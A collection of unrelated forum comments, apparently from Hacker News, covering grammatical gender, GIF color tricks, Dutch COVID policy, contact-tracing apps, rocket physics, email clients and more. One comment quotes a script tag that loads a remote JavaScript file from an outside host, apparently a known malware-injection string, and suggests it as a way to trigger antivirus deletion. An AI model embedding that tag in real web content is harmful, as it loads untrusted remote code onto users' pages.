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> It's also just really bizarre and rude. Imagine referring to a cis woman with a beard as an 'it', or 'he'.

I do that sometimes, unintentionally (regardless of the person in question having a beard or not). It's just that gender in language is most of the time redundant and it only introduces noise into conversation. For most topics, the gender of the persons involved is irrelevant. But many languages force you to choose one, which just creates confusion if this piece of information is crucial or if it's just this bloat that the language forced you to include in your sentence.

Oh, and genders are much more prevalent in my native language. English is actually better than most languages in this respect. But let's go a step further and just get rid of it. I've heard the Swedes chose to move to "person/thing" pronouns, as opposed to "male/female/thing".

In my native language, verbs change their forms based on subject's gender. And then when you have sentences like "if I were in your shoes, I would verb", my brain tells me to assume the gender of the other speaker when I say verb. I mean, it's only logical: if I were in your shoes, I would be of your gender. But the language works otherwise. It's just stupid.

As to people's reactions to my occasional misnamings, most people don't care at all, some are amused. Because, really, this part of language is ridiculous. And making an issue out of it is immature.
If you find anything post it here. Would also help with a bunch of deed records from 100 years ago.
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I'd probably recommend people just go for a different style of beer if they don't like IPAs :)

The alpha acids in hops oxidizing will have an impact on the flavor of the beer - largely it will reinforce the malt flavor, but depending on your susceptibility to off flavors, you might get cardboard or BO type flavors.
It can be difficult to evaluate the result of a test. We solved this by using an existing (of course inferior) library that uses a different algorithm for the same task (different algorithm so it fails at different tests). We would run the same test with both libraries and compare the results. If they were different, we had to find a way to decide which library failed or maybe evaluate those failed cases manually.
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The hacks you allude to are based on the fact that GIF also allows you to use:

* Transparency in a frame, which will show the previous frame underneath

* A different color palette per frame

* An infinite frame rate (no delay between two frames), which is also configured per frame

These three points combined allow you to show any video in full 8-bit color via the GIF format.

Unfortunately there's a difference between what GIF allows and what popular browsers allow GIF to do. Specifically all browsers set a minimum frame delay to 10ms == 100fps. This got started in the 90s due to performance concerns in Internet Explorer. Then people kept setting frame delay to 0 in their GIFs but it looked still fine in Internet Explorer. This resulted in a lot of GIFs that would look broken when the browsers would follow the GIF spec. This desire to support broken GIF files is why even in 2020 browsers limit GIF frame delay to 10ms.

Even so, if you only need 25fps for your video, you can get 4*256=1024 colors. Again, these colors can be different from frame to frame.
I have an Oculus Go but I haven't used it for anything social. Mostly I got it because I was interested in developing for VR and it was the only thing I could afford.
The difference is that most U.S. sports teams names are proper nouns in the plural form (49ers, Raiders, etc.), but most motor sports teams are usually referred to as Team <Singlular Noun>. "Team Quaker State is in the lead." If they were the Quaker States, then it would be "Quaker States are in the lead."

I don't follow MLS, but looking at the team names, they mostly look singular to me, apart from "New York Red Bulls". I suspect the Red Bulls are nearly always referred to in the plural by Americans.
Well the alternative would probably be empty food shelves like you had in planned economies like the DDR and Soviet Union. Just in time food production just doesn't work for things that have to start production ~2-6 months before they are delivered and have a shelf life of ~1-2 weeks. Fresh bread delivered to bakeries regularly sells out here and this is expected, same with Meat and some vegetables. But there is no way to achieve empty vegetable and Meat shelves without pissing people off.
This is sourced from Lonelyplanet and to my judgment this means tap water is drinkable in larger towns, while it's not in smaller towns in general.

This is not the same across the world, in countries like Switzerland, for example, you can drink the tap water virtually anywhere, while in some African countries this is not even true for the capital cities.
If that other comment that says 40% of food produced is wasted is accurate, that means ~9.6M chickens are wasted every single day
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That's quite clever!
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I encourage anyone who enjoys coding together with friends in a competitive setting to check out the demo scene. Demo parties predate hackathons, but they are somewhat alike, except on demo parties you also get to drink beer and no boring corporate guy from marketing will come and steal your ideas after you've won.
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What about Taiwan?

We could have learned a lot from them, but WHO chose to ignore their advice for political reasons.

Also, I generally think local decision-taking is faster than centralized decision-taking. So if speed is important, you should try to decentralize power and allow local governments to act on their own.
The one that always seems to grab my attention is the British "by accident" versus the frequently-used American "on accident".

Whilst I can understand the argument for the latter being similar to "on purpose", it will never stop sounding wrong to my British ears.
Has anyone ever made an edit on Wikipedia without someone trying to start an edit war?

I think it's actually worse than StackOverflow.
Thanks, my bad. I was clearly overwhelmed with excitement about E6 and C41 at home to properly read your comment :)
The whole point of contact tracing is to give the government access to contacts when needed (location is much less important). Experts also say that to be effective these apps have to be installed on 80% of smartphones [1], so in practice they have to be made mandatory.

Everything else is a distraction. Either these apps are needed and the above applies, or they are not and let's forget about them.

[1] https://www.bbc.co.uk/news/technology-52294896
Considering the quality of Wikipedia and the effort that has gone into it, why would anyone attempt to work on an alternative?
> if you fall in with one mass but emerge with a lighter mass, and energy is conserved, you’ll come out faster.

It doesn't work that way. If a body loses mass, it loses also kinetic energy that mass was carrying. To make losing mass helpful for acceleration, the mass must be given high enough momentum, i.e. fuel must be burned, not just ejected.

> if you do so while moving forward at the same velocity, you effectively leave the exhaust gas behind you standing still with respect to the universe, which is maximally efficient.

That standing still happens only at one instant of an idealized scenario. It is not the maximum fuel efficiency either. When the rocket accelerates past that point, it gets faster and the fuel efficiency becomes even better. The higher the speed, the better the fuel efficiency (because the same rocket motor force acts on a faster body, generating more kinetic energy per second).
The RIVM lost the battle in Februari not in March, this is was what my initial comment referred to.

Throughout Februari and March they had the following policy:

- Clearly stating and assuming that asypmtomatic people cannot or are extremely unlikely to transmit (had letters sent to schools and events I particpated in, was also on their website). True or not, there was no data to backup this up and an assumption like this has big consequences when false.

- When from risk area AND with symptoms as a policy they didn't test. In general the whole focus was to test as minimal as possible. Causing us to be completely caught off guard of the true scope untill March.

- Clearly trying to sell the idea that masks don't work for normal people, while at the same time trying to claim them for themselves

- As a policy not testing healthcare people, not even with symptoms. First random test of healthcare people with symptoms in the south was only done on the 8th of march, they were shocked by result (and for a long time untill march allowing people to work with symptoms ). https://www.rivm.nl/nieuws/steekproef

- As a policy "non-essentials" healthcare people get no protection unless evidence of covid and hardly get tested. 900 of 2100 healthcare/elderly houses now have the virus with 20 to 30 percent death rate.

- Failed attempt of centralised buying of masks and other protection wear

https://www.volkskrant.nl/nieuws-achtergrond/jos-de-blok-buu...

- Till the end of Februari claiming they had it under control

- etc...

There is more things to point out but Ill leave it at this. The above assumptions and actions are a big part of what made the Dutch ministery fail to deal with the crisis properly and on time. Like many of the Western democracies. If they would have acted in Februari a full lockdown probably could have been prevented or shortened, lives would have been saved and many other treatments wouldn't have been cancelled or postponed.

The article i've linked to above talks about the doctor who did the opposite in the North, and was succesful with it, they even tried to force him to follow their policy.

To come back to your article. The short answer we don't have enough data (yet) to make such conclusions.

It seems reasonable that from the 9th of March the infection rate went down. This was the week all of Europe freaked out and many people started working from home, even if it wasnt official policy except for in the South of Holland (this idea was good, but too late). Certains schools already (partially) closed, partly because not enough teachers were showing up.

Whether or not school en restaurant closure lead to a lower infection rate is not clear from the data. The RIVM's analysis indeed suggests that it only had a small impact. The English analysis of the Dutch data in the same article does suggest a bigger impact. It's telling that the RIVM doesn't trust their own analysis enough to turn in into policy, you can watch the briefing of Dissel of last week, they only very slowly open the elementary schools in a few weeks from and don't open restaurants and high schools till the end of may.
> but I only get out those tools when I neede them to accomplish a primary goal.

Actually, I think this might be an interesting thing for the OP to look into in itself.

Since in my experience, people's interest in any field tends to fall along a spectrum between 'does it for the art/sake of it' and 'does it to achieve a certain goal'.

If you're the latter, then of course you're likely to struggle with a lot of tutorials, since you don't see the value in the end result. Why would I learn about some new code organisation setup to build this dummy notes app when I have absolutely zero need/interest in a notes app? If you're that kind of thinker, you'll struggle to maintain interest in many tutorials simply because there's no real payoff for them beyond 'build some useless crap nobody needs'.

Ad it may explain the lack of interest in work too. Some people just cannot enjoy working on things they themselves have no passion for. If that's the case, the OP may be best served by looking for a company that is working on something they have a personal interest in.

As said, that doesn't make for a bad programmer (or a bad anything in any field). It just means you've got a different incentive structure to people who create stuff for the sake of it.
FWIW, I tried Superhuman for a month and it was exellent. Extremely fast and responsive shortcuts.

30 USD/month was a bit more than I can justify so I cancelled but I still wish I hadn't.

Not sure what you meant by 'secured by work' - you can still authorize 3rd party apps can't you? Is it even possible to block that?
Before it starts falling, a rain drop of mass m has potential energy of mgh, with g earth’s constant of gravity, and h the height of the drop above ground.

Let’s pick a drop height of 1 km (low for cloud cover). That would make the kinetic energy about 10⁴m (where m is the mass of the raindrop)

At time of impact, potential energy is gone, and the drop has a kinetic energy of ½mv².

Taking the (high) impact speed of the rain drop of 10m/s of the article, that’s 50m (where m again is the mass of the raindrop)

So, at least 99.95% of energy is lost, heating the air or accelerating air downwards.

⇒ We could build a huge vacuum tube and let rain fall into that :-)

in real life, the alternative way of not letting air take much energy from the falling water is easier to build: make larger “droplets”, and have them tailgate each other really closely (also called a waterfall)
On Nick Lane's "The Vital Question":

I gifted myself The Vital Question in 2015 December. While Lane writes effectively without any mind-numbing jargon, the book still has quite a bit of technical chemistry (understandably). After the excellent first 80 pages, it took me a lot more will power to plough through. (I paused at page 112 to get back later.)

Once when I was reading the book on a plane, a seasoned biologist happened to be sitting next to me. When I told that it's the first book of Nick Lane that I picked up, he said: "I'd rather suggest you to pick up Laine's other book, Life Ascending, and only then get back to The Vital Question."

PS: FWIW, I've previously mentioned the above in an older thread, where an ex-biochemist chimed in to confirm the above advice: https://news.ycombinator.com/item?id=18714115
Bluetooth contact tracing needs bigger, better data
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That's by a different author with no connection to this book, though, so calling it equivalent is misleading.
Isn't this just an SSH client?
Can we not just put them in a field for a while?
Huh, I speak AmE and "by accident" sounds more natural to me too.
Ah good to know. I don't use CSS frameworks (except Tailwind recently), but that sounds handy.
> Contact tracing itself is a necessary tool when dealing with a pandemic and I really do not see anybody arguing against that.

Humanity got right we are today (still alive and growing) without digital contact tracing. So, no, this is not a "necessary" tool.

I wish the link I posted above was available in English too, because they analyzed a few scenario that shows how digital contact tracing can be exploited by anyone, not just techies people.

I would rather be a partisan of investing our money in technologies that heal and strengthen our bodies. At least regenerating and healing the body could help with many other diseases.
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> As an aside I like the idea of using the EICAR anti-virus test file[1] as a way to "auto-delete" your data.

Nobody detects EICAR when it’s surrounded by other data.

Strings like

<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>

will work much better.
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I initially loved React, but i eventually feel out of love due to the complex tooling required to use React (e.g. configuring webpack, evaluating data store options, evaluating form options)

If you're interested in a fresh, lighter, framework-free approach, have a look at svelte: https://svelte.dev/ I'm using it on a current project and loving it so far.
I see, thanks for the clarification. Can you expand on that a bit more? Is this some sort of index-free adjacency then? I still don't understand how the neighbours can be stored sequentially in memory, especially if this is a distributed system.
I got the same 403 message.

Luckily outline.com was able to fetch the article: https://outline.com/yecexc
Apple said no to allowing apps to do Bluetooth handshakes when they’re not open, as I understand it.
Well why base your actions on anything at all given that line of thinking? Although I do like the idea of a God in a peanut.
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Or, perhaps, people simply have different tastes. IPAs make up nearly 1/3rd of the dollar share of craft beer in the US - they're hardly some ultra-acquired taste that you could use to signal that you are part of the beer elite.
> You're saying that we should assume "normal situation" in the face of evidence that your assumptions do not hold.

Not really! As you say, this virus is new. Soooooo, we are short on info. So, we should entertain several possibilities.

I didn't say "should" and, to entertain more than one possibility, only said "If"! Biggie difference.

Yup, we don't know. If we do a lot of very well designed and executed statistical trials, controlled, double blind, randomized, simple random sample, stratified sample, etc., then maybe in five years we will know enough to be sure on all the major points, across seasons, ages, other medical conditions, reinfection, spreading via HVAC systems, therapeutics with dosages, side effects, and contraindications, vaccines with number of shots, contraindications, etc. Ah, just wait five years!!!!

Well, nope, to paraphrase, we go to war with the info we have and not the info we want.

So, for the info we have, from the history of viruses, once recovered, then likely immune for a long time; for now we have to take that seriously and maybe are in effect forced to act as if we believe it.

Yup, there are reports of "reinfection" from maybe China or South Korea -- I didn't pay much attention to those reports due to concerns about, call it, data quality. But, net, yup, maybe in some cases, maybe even in all cases, recovery does not mean immunity.

At high cost, we will be finding out with some relatively good data, and in less than five years! Did I mention high cost?
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Compare this to something like the “Voting machine village” at the last several defcons - none of which required extensive vetting before you were allowed to hack the hardware.
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Whilst I think we will all agree that a lot of / most teams do not need to use Kubernetes, is there not advantages in actual team satisfaction and development?

Kubernetes is a hot thing, and people want to use, understand it, and become experts in it. Mostly for professional reasons yes, but it will help attract talent, and will likely help with retention.

So I see it as a bit of a trade off. You might have higher infra costs, and a more complex system (and the things that go with that), but you arguably have a happier team aiding retention and hiring which also has a financial value.
Yeah, they can do deterministic calculations. You just avoid ever putting the quibits in a state where measurement gives probabilistic results. it would, however, be a ridiculous use of technology, like using a Neural net to simulate an XOR
Sub-µm accuracy is not at all easy for a CNC mill and the surface quality is way to bad for optics.

Commercial aspheres are polished with special CNC grinders, but achieve nowhere near the quality of spherical lenses. Only recently magnetorheological finishing became available which allows getting a bit closer in quality.

In most applications, it makes more sense to stack a few spherical lenses instead of manufacturing a super expensive custom asphere which cannot even compensate for chromatic aberrations.
While there are no directly comparable pandemics in recent time, there are plenty of data concerning other related health issues where some countries enforce by law what is a matter of individual responsibility in neighboring countries.

One clear such example is the vaccination of children, which has been repeatedly cited as one data point on how to set policy.

There are medical professionals dedicating their careers to policy issues. It is very far from a "nationalist self-image". If you have doubts about the quality of data used for setting policy, there are plenty of ways to express this in a qualified manner.
Nobody is taking the approach of herd immunity except some political figures who try to gain from the crisis (Armin Laschet, CDU, in particular).
We aren't short of interesting problems.

To pick a couple fo them randomly, understanding amyotrophic lateral sclerosis or alzheimer would be terrific starts.
They do? Just costs engineer hours to implement. So only fancier of potatoes get them.

The area of research that covers from HDR to smartphone array cameras is called Computational Photography, I think.
> Centralised apps would not work properly on Apple’s iPhone because, for Bluetooth exchanges to happen, the device would need to be unlocked with the app running in the foreground - a drain on the battery and an inconvenience to the user.

This is bullshit plain and simple.

This is a political decision.
> Sorry, I got a bit off-topic. But I love finance, so please forgive me.

You really didn't have to apologize! I thoroughly enjoyed your explanation. I can't recall how many times I've searched Google for "How are stock prices determined?" and come back with nothing. Your answer was better than 100% of everything else out there.

I'd love to learn more about this. Are there any books, blogs, etc. that you could recommend? Also, YOU should really consider blogging about this!
That's an avenue I'm pursuing - have joined the waiting list and am waiting for someone to get back to me after a brief email interaction over the weekend.

Secured by work was a reference to one possible suggestion of using Alpine or similar, which requires app-specific passwords. And yes, it seems it is possible to block that!
Wormhole time machines.

The idea is, you can transform a normal [0] wormhole that isn’t a time machine into one which is by:

1) accelerating one end to high speed relative to the other

2) keeping on end in a lower gravitational potential than the other

Why are either of these considered meaningful statements, never mind correct?

In the case of 2 in particular, isn’t GR supposed to require smooth values? So any time dilation effect would be almost identical on a pair of points +δ and -δ from the throat? Making it similar to the case of a gravitational potential without a wormhole?

And in the case of 1, the more I think about it, the less I understand the concept. What is being moved? An imaginary clock that would’ve been in the part of the wormhole at the far end? The apparent speed as measured going through the throat will be zero regardless of the apparent speed of the same as measured when going the long way around.

[0] yes, I know
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Neomutt! If you want something nice and easy to get you up and running: https://github.com/LukeSmithxyz/mutt-wizard
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And every gamer hates it :( just like lens flares, motion blur, DOF, bloom, ...
Interesting. Is it for long-form text? Or can it be multimedia as well?
Stop shaming people for going outside. The risks are generally low
Bootstrapping misses out on scale. Search engines need a massive index to get going. Uber is a less appealing product with fewer drivers covering a smaller area. The same is true for any websites which scale based on users or content creators etc.

It’s possible for bootstrapping to scale just as far, but it opens the door for competition to outgrow you very quickly.
I did a similar thing, but used left / right head tilting for scrolling the page.

Reading and peeling oranges became easier.